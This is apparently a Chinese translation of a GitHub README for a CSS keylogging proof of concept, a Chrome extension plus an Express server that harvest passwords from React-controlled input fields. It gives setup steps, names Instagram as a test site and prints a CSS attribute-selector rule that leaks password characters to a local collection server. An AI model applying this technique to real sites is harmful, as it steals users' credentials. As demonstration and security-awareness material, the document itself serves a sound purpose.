maxchehab/CSS-Keylogging

# CSS 键盘记录器 利用 CSS 键盘记录功能的 Chrome 扩展和 Express 服务器。 ## 使用方法 ### 设置 Chrome 扩展 1. 下载仓库 `git clone https://github.com/maxchehab/CSS-Keylogging` 2. 在浏览器中访问 `chrome://extensions`（或点击 Omnibox 最右侧的图标打开 Chrome 菜单：该菜单的图标是三条水平线，然后在“更多工具”菜单下选择“扩展程序”来到同一个页面）。 3. 确保右上角的“开发者模式”复选框已被勾选。 4. 点击 `加载已解压的扩展程序…`，弹出一个文件选择对话框。 5. 选择你下载本仓库的目录中的 `css-keylogger-extension`。 ### 设置 Express 服务器 1. `yarn` 2. `yarn start` ### Haxking l33t passw0rds（破解 l33t 密码） 1. 打开一个使用了受控组件框架（例如 React）的网站。[https://instagram.com](https://www.instagram.com/)。 2. 在任意网页的右上角按下扩展的 `C` 按钮。 3. 输入你的密码。 4. 你的密码应该会被 Express 服务器捕获。 ## 工作原理 这种攻击非常简单。利用 CSS 属性选择器，可以在加载 `background-image` 的前提下，向外部服务器请求资源。 例如，以下 CSS 将会选择所有 `type` 等于 `password` 且 `value` 以 `a` 结尾的 input 元素。 然后它会尝试从 `http://localhost:3000/a` 加载一张图片。 ``` input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } ``` 使用一个简单的[脚本](https://github.com/maxchehab/CSS-Keylogging/blob/master/build.go)，就可以创建一个[CSS 文件](https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css)，该文件会为每个 ASCII 字符发送一个自定义请求。

标签：Chrome 扩展, CMS安全, CSS 属性选择器, CSS 注入, CSS 键盘记录, Express 服务器, Github安全, GNU通用公共许可证, HTML/CSS, JavaScript, MITM代理, Node.js, React 安全, Web 安全, 信息窃取, 前端安全, 安全漏洞 PoC, 客户端攻击, 密码捕获, 搜索语句（dork）, 数据可视化, 数据窃取, 日志审计, 浏览器扩展开发, 网络安全, 键盘记录器, 隐私保护